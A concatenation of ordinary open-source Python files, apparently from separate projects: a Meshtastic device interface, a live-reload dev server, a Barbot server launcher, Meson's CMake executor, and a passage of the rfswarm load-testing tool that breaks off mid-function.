class SerialInterface(StreamInterface):
"""Interface class for meshtastic devices over a serial link"""
def __init__(self, devPath=None, debugOut=None, noProto=False, connectNow=True):
"""Constructor, opens a connection to a specified serial port, or if unspecified try to
find one Meshtastic device by probing
Keyword Arguments:
devPath {string} -- A filepath to a device, i.e. /dev/ttyUSB0 (default: {None})
debugOut {stream} -- If a stream is provided, any debug serial output from the device will be emitted to that stream. (default: {None})
"""
if devPath is None:
ports = util.findPorts()
if len(ports) == 0:
raise Exception("No Meshtastic devices detected")
elif len(ports) > 1:
raise Exception(
f"Multiple ports detected, you must specify a device, such as {ports[0]}")
else:
devPath = ports[0]
logging.debug(f"Connecting to {devPath}")
# Note: we provide None for port here, because we will be opening it later
self.stream = serial.Serial(
None, 921600, exclusive=True, timeout=0.5, write_timeout=0)
# rts=False Needed to prevent TBEAMs resetting on OSX, because rts is connected to reset
self.stream.port = devPath
# HACK: If the platform driving the serial port is unable to leave the RTS pin in high-impedance
# mode, set RTS to false so that the device platform won't be reset spuriously.
# Linux does this properly, so don't apply this hack on Linux (because it makes the reset button not work).
if self._hostPlatformAlwaysDrivesUartRts():
self.stream.rts = False
self.stream.open()
StreamInterface.__init__(
self, debugOut=debugOut, noProto=noProto, connectNow=connectNow)
"""true if platform driving the serial port is Windows Subsystem for Linux 1."""
def _isWsl1(self):
# WSL1 identifies itself as Linux, but has a special char device at /dev/lxss for use with session control,
# e.g. /init. We should treat WSL1 as Windows for the RTS-driving hack because the underlying platfrom
# serial driver for the CP21xx still exhibits the buggy behavior.
# WSL2 is not covered here, as it does not (as of 2021-May-25) support the appropriate functionality to
# share or pass-through serial ports.
try:
# Claims to be Linux, but has /dev/lxss; must be WSL 1
return platform.system() == 'Linux' and stat.S_ISCHR(os.stat('/dev/lxss').st_mode);
except:
# Couldn't stat /dev/lxss special device; not WSL1
return False;
def _hostPlatformAlwaysDrivesUartRts(self):
# OS-X/Windows seems to have a bug in its CP21xx serial drivers. It ignores that we asked for no RTSCTS
# control and will always drive RTS either high or low (rather than letting the CP102 leave
# it as an open-collector floating pin).
# TODO: When WSL2 supports USB passthrough, this will get messier. If/when WSL2 gets virtual serial
# ports that "share" the Windows serial port (and thus the Windows drivers), this code will need to be
# updated to reflect that as well -- or if T-Beams get made with an alternate USB to UART bridge that has
# a less buggy driver.
return platform.system() != 'Linux' or self._isWsl1();
class TCPInterface(StreamInterface):
"""Interface class for meshtastic devices over a TCP link"""
def __init__(self, hostname: AnyStr, debugOut=None, noProto=False, connectNow=True, portNumber=4403):
"""Constructor, opens a connection to a specified IP address/hostname
Keyword Arguments:
hostname {string} -- Hostname/IP address of the device to connect to
"""
logging.debug(f"Connecting to {hostname}")
server_address = (hostname, portNumber)
sock = socket.create_connection(server_address)
# Instead of wrapping as a stream, we use the native socket API
# self.stream = sock.makefile('rw')
self.stream = None
self.socket = sock
StreamInterface.__init__(
self, debugOut=debugOut, noProto=noProto, connectNow=connectNow)
def close(self):
"""Close a connection to the device"""
logging.debug("Closing TCP stream")
StreamInterface.close(self)
# Sometimes the socket read might be blocked in the reader thread. Therefore we force the shutdown by closing
# the socket here
self._wantExit = True
if not self.socket is None:
try:
self.socket.shutdown(socket.SHUT_RDWR)
except:
pass # Ignore errors in shutdown, because we might have a race with the server
self.socket.close()
def _writeBytes(self, b):
"""Write an array of bytes to our stream and flush"""
self.socket.send(b)
def _readBytes(self, len):
"""Read an array of bytes from our stream"""
return self.socket.recv(len)
def _onTextReceive(iface, asDict):
"""Special text auto parsing for received messages"""
# We don't throw if the utf8 is invalid in the text message. Instead we just don't populate
# the decoded.data.text and we log an error message. This at least allows some delivery to
# the app and the app can deal with the missing decoded representation.
#
# Usually btw this problem is caused by apps sending binary data but setting the payload type to
# text.
try:
asBytes = asDict["decoded"]["payload"]
asDict["decoded"]["text"] = asBytes.decode("utf-8")
except Exception as ex:
logging.error(f"Malformatted utf8 in text message: {ex}")
_receiveInfoUpdate(iface, asDict)
def _onPositionReceive(iface, asDict):
"""Special auto parsing for received messages"""
p = asDict["decoded"]["position"]
iface._fixupPosition(p)
# update node DB as needed
iface._getOrCreateByNum(asDict["from"])["position"] = p
def _onNodeInfoReceive(iface, asDict):
"""Special auto parsing for received messages"""
p = asDict["decoded"]["user"]
# decode user protobufs and update nodedb, provide decoded version as "position" in the published msg
# update node DB as needed
n = iface._getOrCreateByNum(asDict["from"])
n["user"] = p
# We now have a node ID, make sure it is uptodate in that table
iface.nodes[p["id"]] = n
_receiveInfoUpdate(iface, asDict)
def _receiveInfoUpdate(iface, asDict):
iface._getOrCreateByNum(asDict["from"])["lastReceived"] = asDict
iface._getOrCreateByNum(asDict["from"])["lastHeard"] = asDict.get("rxTime")
iface._getOrCreateByNum(asDict["from"])["snr"] = asDict.get("rxSnr")
iface._getOrCreateByNum(asDict["from"])["hopLimit"] = asDict.get("hopLimit")
"""Well known message payloads can register decoders for automatic protobuf parsing"""
protocols = {
portnums_pb2.PortNum.TEXT_MESSAGE_APP: KnownProtocol("text", onReceive=_onTextReceive),
portnums_pb2.PortNum.POSITION_APP: KnownProtocol("position", mesh_pb2.Position, _onPositionReceive),
portnums_pb2.PortNum.NODEINFO_APP: KnownProtocol("user", mesh_pb2.User, _onNodeInfoReceive),
portnums_pb2.PortNum.ADMIN_APP: KnownProtocol("admin", admin_pb2.AdminMessage),
portnums_pb2.PortNum.ROUTING_APP: KnownProtocol("routing", mesh_pb2.Routing),
portnums_pb2.PortNum.ENVIRONMENTAL_MEASUREMENT_APP: KnownProtocol("environmental", environmental_measurement_pb2.EnvironmentalMeasurement),
portnums_pb2.PortNum.REMOTE_HARDWARE_APP: KnownProtocol(
"remotehw", remote_hardware_pb2.HardwareMessage)
}
|
watch.py | import asyncio
from multiprocessing.context import Process
from pathlib import Path
from time import time
from aiohttp import web
from aiohttp.web_exceptions import HTTPMovedPermanently, HTTPNotFound
from aiohttp.web_fileresponse import FileResponse
from aiohttp.web_response import Response
from watchgod import PythonWatcher, awatch
from .main import build, prepare
__all__ = ('watch',)
WS = 'websockets'
async def static(request):
request_path = request.match_info['path'].lstrip('/')
directory: Path = request.app['output_dir'].resolve()
if request_path == '':
filepath = directory / 'index.html'
else:
try:
filepath = (directory / request_path).resolve()
filepath.relative_to(directory)
except Exception as exc:
# perm error or other kind!
raise HTTPNotFound() from exc
for _ in range(20):
if filepath.exists():
break
await asyncio.sleep(0.1)
if filepath.is_file():
return FileResponse(filepath)
else:
raise HTTPNotFound()
async def server_up(request):
return Response(body=b'server up\n', content_type='text/plain')
async def reload_websocket(request):
ws = web.WebSocketResponse()
await ws.prepare(request)
request.app[WS].add(ws)
async for _ in ws:
pass
request.app[WS].remove(ws)
return ws
async def moved(request):
raise HTTPMovedPermanently('/')
def build_in_subprocess(exec_file_path: Path, output_dir: Path, dev: bool):
process = Process(target=build, args=(exec_file_path, output_dir), kwargs=dict(reload=True, dev=dev))
process.start()
process.join()
async def rebuild(app: web.Application):
exec_file_path: Path = app['exec_file_path']
output_dir: Path = app['output_dir']
dev: bool = app['dev']
watcher = awatch(exec_file_path, watcher_cls=PythonWatcher)
async for _ in watcher:
print(f're-running {exec_file_path}...')
start = time()
await watcher.run_in_executor(build_in_subprocess, exec_file_path, output_dir, dev)
for ws in app[WS]:
await ws.send_str('reload')
c = len(app[WS])
print(f'run completed in {time() - start:0.3f}s, {c} browser{"" if c == 1 else "s"} updated')
async def startup(app):
asyncio.get_event_loop().create_task(rebuild(app))
def watch(exec_file_path: Path, output_dir: Path, dev: bool = False):
if not dev:
prepare(output_dir)
print(f'running {exec_file_path}...')
build_in_subprocess(exec_file_path, output_dir, dev)
app = web.Application()
app.on_startup.append(startup)
app.update(
exec_file_path=exec_file_path, output_dir=output_dir, build=build, dev=dev, websockets=set(),
)
app.add_routes(
[
web.get('/.reload/up/', server_up),
web.get('/.reload/ws/', reload_websocket),
web.get('/index.html', moved),
web.get('/{path:.*}', static),
]
)
port = 8000
print(f'watching {exec_file_path}, serving output at http://localhost:{port}')
web.run_app(app, port=port, print=lambda s: None)
|
Barbot.py | #!/usr/bin/python3
import eventlet
eventlet.monkey_patch()
import sys, os, signal, logging, time, argparse
from threading import Thread, Event
from peewee import IntegrityError
sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
import barbot.config
config = barbot.config.load()
import barbot.logging
barbot.logging.configure()
logger = logging.getLogger('Server')
from barbot.bus import bus
import barbot.units
import barbot.alerts
import barbot.daemon as daemon
import barbot.serial
import barbot.wifi
import barbot.lights
import barbot.audio
import barbot.dispenser
import barbot.settings
from barbot.db import initializeDB, db
import barbot.core
from barbot.app import app
from barbot.socket import socket
webThread = None
exitEvent = Event()
def catchSIGTERM(signum, stackframe):
logger.info('caught SIGTERM')
exitEvent.set()
def catchSIGINT(signum, stackframe):
logger.info('caught SIGINT')
exitEvent.set()
def webThreadLoop():
host = config.get('server', 'listenAddress')
port = config.get('server', 'listenPort')
logger.info('Web thread started on ' + host + ':' + port)
socket.init_app(app, async_mode='eventlet')
socket.run(
app,
host = host,
port = port,
debug = config.getboolean('server', 'socketIODebug'),
use_reloader = False
)
logger.info('Web thread stopped')
def startServer():
logger.info('Server starting')
initializeDB()
signal.signal(signal.SIGTERM, catchSIGTERM)
signal.signal(signal.SIGINT, catchSIGINT)
bus.emit('server/start1')
bus.emit('server/start')
# start threads
webThread = Thread(target = webThreadLoop, name = 'WebThread')
webThread.daemon = True
webThread.start()
logger.info('Server started')
# wait for the end
while not exitEvent.is_set():
exitEvent.wait(1)
bus.emit('server/tick')
bus.emit('server/stop')
#time.sleep(3)
db.close()
logger.info('Server stopped')
if __name__ == '__main__':
parser = argparse.ArgumentParser(description = 'Barbot server')
parser.add_argument('cmd', choices = ['start', 'stop', 'restart', 'status', 'debug'],
help = 'the command to run')
args = parser.parse_args()
if args.cmd == 'start':
daemon.start(startServer)
elif args.cmd == 'stop':
daemon.stop()
elif args.cmd == 'restart':
daemon.restart(startServer)
elif args.cmd == 'status':
daemon.status()
elif args.cmd == 'debug':
startServer()
sys.exit(0)
|
executor.py | # Copyright 2019 The Meson development team
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# This class contains the basic functionality needed to run any interpreter
# or an interpreter-based tool.
import subprocess as S
from pathlib import Path
from threading import Thread
import typing as T
import re
import os
from .. import mlog
from ..mesonlib import PerMachine, Popen_safe, version_compare, MachineChoice, is_windows, OptionKey
if T.TYPE_CHECKING:
from ..environment import Environment
from ..dependencies.base import ExternalProgram
from ..compilers import Compiler
TYPE_result = T.Tuple[int, T.Optional[str], T.Optional[str]]
TYPE_cache_key = T.Tuple[str, T.Tuple[str, ...], str, T.FrozenSet[T.Tuple[str, str]]]
class CMakeExecutor:
# The class's copy of the CMake path. Avoids having to search for it
# multiple times in the same Meson invocation.
class_cmakebin = PerMachine(None, None) # type: PerMachine[T.Optional[ExternalProgram]]
class_cmakevers = PerMachine(None, None) # type: PerMachine[T.Optional[str]]
class_cmake_cache = {} # type: T.Dict[T.Any, TYPE_result]
def __init__(self, environment: 'Environment', version: str, for_machine: MachineChoice, silent: bool = False):
self.min_version = version
self.environment = environment
self.for_machine = for_machine
self.cmakebin, self.cmakevers = self.find_cmake_binary(self.environment, silent=silent)
self.always_capture_stderr = True
self.print_cmout = False
self.prefix_paths = [] # type: T.List[str]
self.extra_cmake_args = [] # type: T.List[str]
if self.cmakebin is None:
return
if not version_compare(self.cmakevers, self.min_version):
mlog.warning(
'The version of CMake', mlog.bold(self.cmakebin.get_path()),
'is', mlog.bold(self.cmakevers), 'but version', mlog.bold(self.min_version),
'is required')
self.cmakebin = None
return
self.prefix_paths = self.environment.coredata.options[OptionKey('cmake_prefix_path', machine=self.for_machine)].value
if self.prefix_paths:
self.extra_cmake_args += ['-DCMAKE_PREFIX_PATH={}'.format(';'.join(self.prefix_paths))]
def find_cmake_binary(self, environment: 'Environment', silent: bool = False) -> T.Tuple[T.Optional['ExternalProgram'], T.Optional[str]]:
from ..dependencies.base import find_external_program, NonExistingExternalProgram
# Only search for CMake the first time and store the result in the class
# definition
if isinstance(CMakeExecutor.class_cmakebin[self.for_machine], NonExistingExternalProgram):
mlog.debug('CMake binary for %s is cached as not found' % self.for_machine)
return None, None
elif CMakeExecutor.class_cmakebin[self.for_machine] is not None:
mlog.debug('CMake binary for %s is cached.' % self.for_machine)
else:
assert CMakeExecutor.class_cmakebin[self.for_machine] is None
mlog.debug('CMake binary for %s is not cached' % self.for_machine)
for potential_cmakebin in find_external_program(
environment, self.for_machine, 'cmake', 'CMake',
environment.default_cmake, allow_default_for_cross=False):
version_if_ok = self.check_cmake(potential_cmakebin)
if not version_if_ok:
continue
if not silent:
mlog.log('Found CMake:', mlog.bold(potential_cmakebin.get_path()),
f'({version_if_ok})')
CMakeExecutor.class_cmakebin[self.for_machine] = potential_cmakebin
CMakeExecutor.class_cmakevers[self.for_machine] = version_if_ok
break
else:
if not silent:
mlog.log('Found CMake:', mlog.red('NO'))
# Set to False instead of None to signify that we've already
# searched for it and not found it
CMakeExecutor.class_cmakebin[self.for_machine] = NonExistingExternalProgram()
CMakeExecutor.class_cmakevers[self.for_machine] = None
return None, None
return CMakeExecutor.class_cmakebin[self.for_machine], CMakeExecutor.class_cmakevers[self.for_machine]
def check_cmake(self, cmakebin: 'ExternalProgram') -> T.Optional[str]:
if not cmakebin.found():
mlog.log(f'Did not find CMake {cmakebin.name!r}')
return None
try:
p, out = Popen_safe(cmakebin.get_command() + ['--version'])[0:2]
if p.returncode != 0:
mlog.warning('Found CMake {!r} but couldn\'t run it'
''.format(' '.join(cmakebin.get_command())))
return None
except FileNotFoundError:
mlog.warning('We thought we found CMake {!r} but now it\'s not there. How odd!'
''.format(' '.join(cmakebin.get_command())))
return None
except PermissionError:
msg = 'Found CMake {!r} but didn\'t have permissions to run it.'.format(' '.join(cmakebin.get_command()))
if not is_windows():
msg += '\n\nOn Unix-like systems this is often caused by scripts that are not executable.'
mlog.warning(msg)
return None
cmvers = re.search(r'(cmake|cmake3)\s*version\s*([\d.]+)', out).group(2)
return cmvers
def set_exec_mode(self, print_cmout: T.Optional[bool] = None, always_capture_stderr: T.Optional[bool] = None) -> None:
if print_cmout is not None:
self.print_cmout = print_cmout
if always_capture_stderr is not None:
self.always_capture_stderr = always_capture_stderr
def _cache_key(self, args: T.List[str], build_dir: Path, env: T.Optional[T.Dict[str, str]]) -> TYPE_cache_key:
fenv = frozenset(env.items()) if env is not None else frozenset()
targs = tuple(args)
return (self.cmakebin.get_path(), targs, build_dir.as_posix(), fenv)
def _call_cmout_stderr(self, args: T.List[str], build_dir: Path, env: T.Optional[T.Dict[str, str]]) -> TYPE_result:
cmd = self.cmakebin.get_command() + args
proc = S.Popen(cmd, stdout=S.PIPE, stderr=S.PIPE, cwd=str(build_dir), env=env) # TODO [PYTHON_37]: drop Path conversion
# stdout and stderr MUST be read at the same time to avoid pipe
# blocking issues. The easiest way to do this is with a separate
# thread for one of the pipes.
def print_stdout() -> None:
while True:
line = proc.stdout.readline()
if not line:
break
mlog.log(line.decode(errors='ignore').strip('\n'))
proc.stdout.close()
t = Thread(target=print_stdout)
t.start()
try:
# Read stderr line by line and log non trace lines
raw_trace = ''
tline_start_reg = re.compile(r'^\s*(.*\.(cmake|txt))\(([0-9]+)\):\s*(\w+)\(.*$')
inside_multiline_trace = False
while True:
line_raw = proc.stderr.readline()
if not line_raw:
break
line = line_raw.decode(errors='ignore')
if tline_start_reg.match(line):
raw_trace += line
inside_multiline_trace = not line.endswith(' )\n')
elif inside_multiline_trace:
raw_trace += line
else:
mlog.warning(line.strip('\n'))
finally:
proc.stderr.close()
t.join()
proc.wait()
return proc.returncode, None, raw_trace
def _call_cmout(self, args: T.List[str], build_dir: Path, env: T.Optional[T.Dict[str, str]]) -> TYPE_result:
cmd = self.cmakebin.get_command() + args
proc = S.Popen(cmd, stdout=S.PIPE, stderr=S.STDOUT, cwd=str(build_dir), env=env) # TODO [PYTHON_37]: drop Path conversion
while True:
line = proc.stdout.readline()
if not line:
break
mlog.log(line.decode(errors='ignore').strip('\n'))
proc.stdout.close()
proc.wait()
return proc.returncode, None, None
def _call_quiet(self, args: T.List[str], build_dir: Path, env: T.Optional[T.Dict[str, str]]) -> TYPE_result:
build_dir.mkdir(parents=True, exist_ok=True)
cmd = self.cmakebin.get_command() + args
ret = S.run(cmd, env=env, cwd=str(build_dir), close_fds=False,
stdout=S.PIPE, stderr=S.PIPE, universal_newlines=False) # TODO [PYTHON_37]: drop Path conversion
rc = ret.returncode
out = ret.stdout.decode(errors='ignore')
err = ret.stderr.decode(errors='ignore')
return rc, out, err
def _call_impl(self, args: T.List[str], build_dir: Path, env: T.Optional[T.Dict[str, str]]) -> TYPE_result:
mlog.debug(f'Calling CMake ({self.cmakebin.get_command()}) in {build_dir} with:')
for i in args:
mlog.debug(f' - "{i}"')
if not self.print_cmout:
return self._call_quiet(args, build_dir, env)
else:
if self.always_capture_stderr:
return self._call_cmout_stderr(args, build_dir, env)
else:
return self._call_cmout(args, build_dir, env)
def call(self, args: T.List[str], build_dir: Path, env: T.Optional[T.Dict[str, str]] = None, disable_cache: bool = False) -> TYPE_result:
if env is None:
env = os.environ.copy()
args = args + self.extra_cmake_args
if disable_cache:
return self._call_impl(args, build_dir, env)
# First check if cached, if not call the real cmake function
cache = CMakeExecutor.class_cmake_cache
key = self._cache_key(args, build_dir, env)
if key not in cache:
cache[key] = self._call_impl(args, build_dir, env)
return cache[key]
def found(self) -> bool:
return self.cmakebin is not None
def version(self) -> str:
return self.cmakevers
def executable_path(self) -> str:
return self.cmakebin.get_path()
def get_command(self) -> T.List[str]:
return self.cmakebin.get_command()
def get_cmake_prefix_paths(self) -> T.List[str]:
return self.prefix_paths
def machine_choice(self) -> MachineChoice:
return self.for_machine
|
rfswarm.py | #!/usr/bin/python
#
# Robot Framework Swarm
#
# Version v0.6.1-beta
#
# Helpful links
#
# making things resize with the window https://stackoverflow.com/questions/7591294/how-to-create-a-self-resizing-grid-of-buttons-in-tkinter
#
import sys
import signal
import os
import glob
import configparser
import hashlib
import lzma
import base64
import sqlite3
import math
# import robot
import socket
import ipaddress
import random
import time
from datetime import datetime
import re
import threading
import subprocess
from operator import itemgetter
import csv
import xml.etree.ElementTree as ET
import inspect
# import Tkinter as tk #python2
import tkinter as tk #python3
# import ttk #python2
import tkinter.ttk as ttk #python3
# import tkFileDialog as tkf #python2
import tkinter.filedialog as tkf #python3
import tkinter.messagebox as tkm #python3
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer, HTTPServer
import urllib.parse
import json
import argparse
__name__ = "rfswarm"
class percentile:
def __init__(self):
self.count = 0
self.percent = 90
self.values = []
def step(self, value, percent):
self.count += 1
self.values.append(value)
self.percent = percent
def finalize(self):
try:
if self.count <10:
# Need at least 10 samples to get a useful percentile
return None
base.debugmsg(9, "percentile: finalize: self.count:", self.count, " self.percent:", self.percent, " self.values:", self.values)
nth = self.count * (self.percent/100)
base.debugmsg(9, "percentile: finalize: nth:", nth)
nthi = int(nth)
# nthi = int(math.ceil(self.count * (self.percent/100)))
self.values.sort()
base.debugmsg(8, "percentile: finalize: nthi:", nthi, " self.values[nthi]:", self.values[nthi], " self.values:", self.values)
return self.values[nthi]
# return self.count
except Exception as e:
base.debugmsg(5, "Exception:", e)
class stdevclass:
def __init__(self):
self.M = 0.0
self.S = 0.0
self.k = 1
def step(self, value):
if value is None:
return
tM = self.M
self.M += (value - tM) / self.k
self.S += (value - tM) * (value - self.M)
self.k += 1
def finalize(self):
base.debugmsg(9, "self.k:", self.k, " self.S:", self.S, " self.M:", self.M)
if self.k < 3:
return None
try:
res = math.sqrt(self.S / (self.k-2))
base.debugmsg(8, "res:", res)
return res
except Exception as e:
base.debugmsg(5, "Exception:", e)
class ScrollableY(tk.Frame):
"""
Make a frame scrollable with scrollbar on the right.
After adding or removing widgets to the scrollable frame,
call the update() method to refresh the scrollable area.
"""
def __init__(self, frame, width=16):
# tk.wm_attributes("-transparentcolor", TRANSCOLOUR)
scrollbar = tk.Scrollbar(frame, width=width)
scrollbar.pack(side=tk.RIGHT, fill=tk.Y, expand=False)
# self.canvas = tk.Canvas(frame, yscrollcommand=scrollbar.set, background="Red")
self.canvas = tk.Canvas(frame, yscrollcommand=scrollbar.set)
self.canvas.pack(side=tk.LEFT, fill=tk.BOTH, expand=True)
scrollbar.config(command=self.canvas.yview)
self.canvas.bind('<Configure>', self.__fill_canvas)
# base class initialization
tk.Frame.__init__(self, frame)
# assign this obj (the inner frame) to the windows item of the canvas
self.windows_item = self.canvas.create_window(0,0, window=self, anchor=tk.NW)
def __fill_canvas(self, event):
"Enlarge the windows item to the canvas width"
kids = self.winfo_children()
base.debugmsg(6, "kids:", kids)
# kids = self.canvas.winfo_children()
# base.debugmsg(6, "kids:", kids)
if len(kids)>0:
# base.debugmsg(6, "self.canvas.bbox(kids[0]):", self.canvas.bbox(kids[0]))
# base.debugmsg(6, kids[0].winfo_width(), kids[0].winfo_height())
canvas_width = kids[0].winfo_width()
base.debugmsg(6, "canvas_width:", canvas_width)
canvas_height = kids[0].winfo_height()
base.debugmsg(6, "canvas_height:", canvas_height)
self.canvas.itemconfig(self.windows_item, width = canvas_width, height = canvas_height)
else:
base.debugmsg(6, "event:", event)
canvas_width = event.width
base.debugmsg(6, "canvas_width:", canvas_width)
canvas_height = event.height
base.debugmsg(6, "canvas_height:", canvas_height)
self.canvas.itemconfig(self.windows_item, width = canvas_width, height = canvas_height)
def update(self):
"Update the canvas and the scrollregion"
# self.update_idletasks()
kids = self.winfo_children()
base.debugmsg(6, "kids:", kids)
# kids = self.canvas.winfo_children()
# base.debugmsg(6, "kids:", kids)
if len(kids)>0:
# base.debugmsg(6, "self.canvas.bbox(kids[0]):", self.canvas.bbox(kids[0]))
base.debugmsg(6, kids[0].winfo_width(), kids[0].winfo_height())
self.canvas.config(scrollregion=(0,0,kids[0].winfo_width(),kids[0].winfo_height()+10))
else:
base.debugmsg(6, "self.canvas.bbox(self.windows_item):", self.canvas.bbox(self.windows_item))
base.debugmsg(6, "self.windows_item:", self.windows_item)
self.canvas.config(scrollregion=self.canvas.bbox(self.windows_item))
class ScrollableXY(tk.Frame):
"""
Make a frame scrollable with scrollbar on the right.
After adding or removing widgets to the scrollable frame,
call the update() method to refresh the scrollable area.
"""
def __init__(self, frame, width=16):
scrollbary = tk.Scrollbar(frame, orient="vertical", width=width)
scrollbarx = tk.Scrollbar(frame, orient="horizontal", width=width)
scrollbary.pack(side=tk.RIGHT, fill=tk.Y, expand=False)
scrollbarx.pack(side=tk.BOTTOM, fill=tk.X, expand=False)
# self.canvas = tk.Canvas(frame, yscrollcommand=scrollbary.set, xscrollcommand=scrollbarx.set)
self.canvas = tk.Canvas(frame, yscrollcommand=scrollbary.set)
self.canvas.pack(side=tk.LEFT, fill=tk.BOTH, expand=True)
# self.canvas = tk.Canvas(frame, xscrollcommand=scrollbarx.set)
# self.canvas.pack(side=tk.TOP, fill=tk.BOTH, expand=True)
scrollbary.config(command=self.canvas.yview)
scrollbarx.config(command=self.canvas.xview)
self.canvas.bind('<Configure>', self.__fill_canvas)
# base class initialization
tk.Frame.__init__(self, frame)
# assign this obj (the inner frame) to the windows item of the canvas
self.windows_item = self.canvas.create_window(0,0, window=self, anchor=tk.NW)
def __fill_canvas(self, event):
"Enlarge the windows item to the canvas width"
base.debugmsg(6, "event:", event)
kids = self.winfo_children()
base.debugmsg(6, "kids:", kids)
# kids = self.canvas.winfo_children()
# base.debugmsg(6, "kids:", kids)
if len(kids)>0:
# base.debugmsg(6, "self.canvas.bbox(kids[0]):", self.canvas.bbox(kids[0]))
# base.debugmsg(6, kids[0].winfo_width(), kids[0].winfo_height())
canvas_width = kids[0].winfo_width()
base.debugmsg(6, "canvas_width:", canvas_width)
canvas_height = kids[0].winfo_height()
base.debugmsg(6, "canvas_height:", canvas_height)
self.canvas.itemconfig(self.windows_item, width = canvas_width, height = canvas_height)
else:
base.debugmsg(6, "event:", event)
canvas_width = event.width
base.debugmsg(6, "canvas_width:", canvas_width)
canvas_height = event.height
base.debugmsg(6, "canvas_height:", canvas_height)
self.canvas.itemconfig(self.windows_item, width = canvas_width, height = canvas_height)
def fill_canvas(self):
"Enlarge the windows item to the canvas width"
time.sleep(.02)
kids = self.winfo_children()
base.debugmsg(6, "kids:", kids)
# kids = self.canvas.winfo_children()
# base.debugmsg(6, "kids:", kids)
if len(kids)>0:
# base.debugmsg(6, "self.canvas.bbox(kids[0]):", self.canvas.bbox(kids[0]))
# base.debugmsg(6, kids[0].winfo_width(), kids[0].winfo_height())
canvas_width = kids[0].winfo_width()
base.debugmsg(6, "canvas_width:", canvas_width)
canvas_height = kids[0].winfo_height()
base.debugmsg(6, "canvas_height:", canvas_height)
self.canvas.itemconfig(self.windows_item, width = canvas_width, height = canvas_height)
else:
base.debugmsg(6, "event:", event)
canvas_width = event.width
base.debugmsg(6, "canvas_width:", canvas_width)
canvas_height = event.height
base.debugmsg(6, "canvas_height:", canvas_height)
self.canvas.itemconfig(self.windows_item, width = canvas_width, height = canvas_height)
def update(self):
"Update the canvas and the scrollregion"
# self.update_idletasks()
kids = self.winfo_children()
base.debugmsg(6, "kids:", kids)
# kids = self.canvas.winfo_children()
# base.debugmsg(6, "kids:", kids)
if len(kids)>0:
# base.debugmsg(6, "self.canvas.bbox(kids[0]):", self.canvas.bbox(kids[0]))
base.debugmsg(6, kids[0].winfo_width(), kids[0].winfo_height())
self.canvas.config(scrollregion=(0,0,kids[0].winfo_width(),kids[0].winfo_height()+10))
else:
base.debugmsg(6, "self.canvas.bbox(self.windows_item):", self.canvas.bbox(self.windows_item))
base.debugmsg(6, "self.windows_item:", self.windows_item)
self.canvas.config(scrollregion=self.canvas.bbox(self.windows_item))
class AgentServer(BaseHTTPRequestHandler):
def do_HEAD(self):
return
def do_POST(self):
httpcode = 200
try:
parsed_path = urllib.parse.urlparse(self.path)
if (parsed_path.path in ["/AgentStatus", "/Jobs", "/Scripts", "/File", "/Result"]):
jsonresp = {}
rawData = (self.rfile.read(int(self.headers['content-length']))).decode('utf-8')
base.debugmsg(9, "parsed_path.path", parsed_path.path)
if (parsed_path.path == "/AgentStatus"):
jsonreq = json.loads(rawData)
requiredfields = ["AgentName", "Status", "Robots", "CPU%", "MEM%", "NET%"]
for field in requiredfields:
if field not in jsonreq:
httpcode = 422
message = "Missing required field: '{}', required fields are: {}".format(field, requiredfields)
break
if httpcode == 200:
base.debugmsg(9, "do_POST: jsonreq:", jsonreq)
core.register_agent(jsonreq)
jsonresp["AgentName"] = jsonreq["AgentName"]
jsonresp["Status"] = "Updated"
if (parsed_path.path == "/Scripts"):
jsonreq = json.loads(rawData)
requiredfields = ["AgentName"]
for field in requiredfields:
if field not in jsonreq:
httpcode = 422
message = "Missing required field: '{}', required fields are: {}".format(field, requiredfields)
break
if httpcode == 200:
jsonresp["AgentName"] = jsonreq["AgentName"]
base.debugmsg(9, "base.scriptlist:", base.scriptlist)
scripts = []
base.debugmsg(9, "base.scriptfiles:", base.scriptfiles)
for hash in base.scriptfiles:
base.debugmsg(9, "hash:", hash, base.scriptfiles[hash])
scripts.append({'File': base.scriptfiles[hash]['relpath'], "Hash": hash})
base.debugmsg(9, "scripts:", scripts)
jsonresp["Scripts"] = scripts
t = threading.Thread(target=base.check_files_changed)
t.start()
if (parsed_path.path == "/File"):
jsonreq = json.loads(rawData)
requiredfields = ["AgentName", "Hash"]
for field in requiredfields:
if field not in jsonreq:
httpcode = 422
message = "Missing required field: '{}', required fields are: {}".format(field, requiredfields)
break
if httpcode == 200:
jsonresp["AgentName"] = jsonreq["AgentName"]
if "Hash" in jsonreq and len(jsonreq["Hash"])>0:
hash = jsonreq["Hash"]
jsonresp["Hash"] = jsonreq["Hash"]
jsonresp["File"] = base.scriptfiles[hash]['relpath']
localpath = base.scriptfiles[hash]['localpath']
buf = "\n"
with open(localpath, 'rb') as afile:
buf = afile.read()
base.debugmsg(9, "buf:", buf)
compressed = lzma.compress(buf)
base.debugmsg(9, "compressed:", compressed)
encoded = base64.b64encode(compressed)
base.debugmsg(9, "encoded:", encoded)
jsonresp["FileData"] = encoded.decode('ASCII')
else:
httpcode = 404
jsonresp["Message"] = "Known File Hash required to download a file"
if (parsed_path.path == "/Jobs"):
jsonreq = json.loads(rawData)
requiredfields = ["AgentName"]
for field in requiredfields:
if field not in jsonreq:
httpcode = 422
message = "Missing required field: '{}', required fields are: {}".format(field, requiredfields)
break
if httpcode == 200:
jsonresp["AgentName"] = jsonreq["AgentName"]
jsonresp["StartTime"] = base.run_start
jsonresp["EndTime"] = base.run_end
jsonresp["RunName"] = base.robot_schedule["RunName"]
# base.robot_schedule["Agents"]
if jsonresp["AgentName"] in base.robot_schedule["Agents"].keys():
jsonresp["Schedule"] = base.robot_schedule["Agents"][jsonresp["AgentName"]]
else:
jsonresp["Schedule"] = {}
# , "Result"
if (parsed_path.path == "/Result"):
jsonreq = json.loads(rawData)
base.debugmsg(5, "Result: jsonreq:", jsonreq)
requiredfields = ["AgentName", "ResultName", "Result", "ElapsedTime", "StartTime", "EndTime", "ScriptIndex", "VUser", "Iteration", "Sequence"]
for field in requiredfields:
if field not in jsonreq:
httpcode = 422
message = "Missing required field: '{}', required fields are: {}".format(field, requiredfields)
break
if httpcode == 200:
base.debugmsg(7, "Result: httpcode:", httpcode)
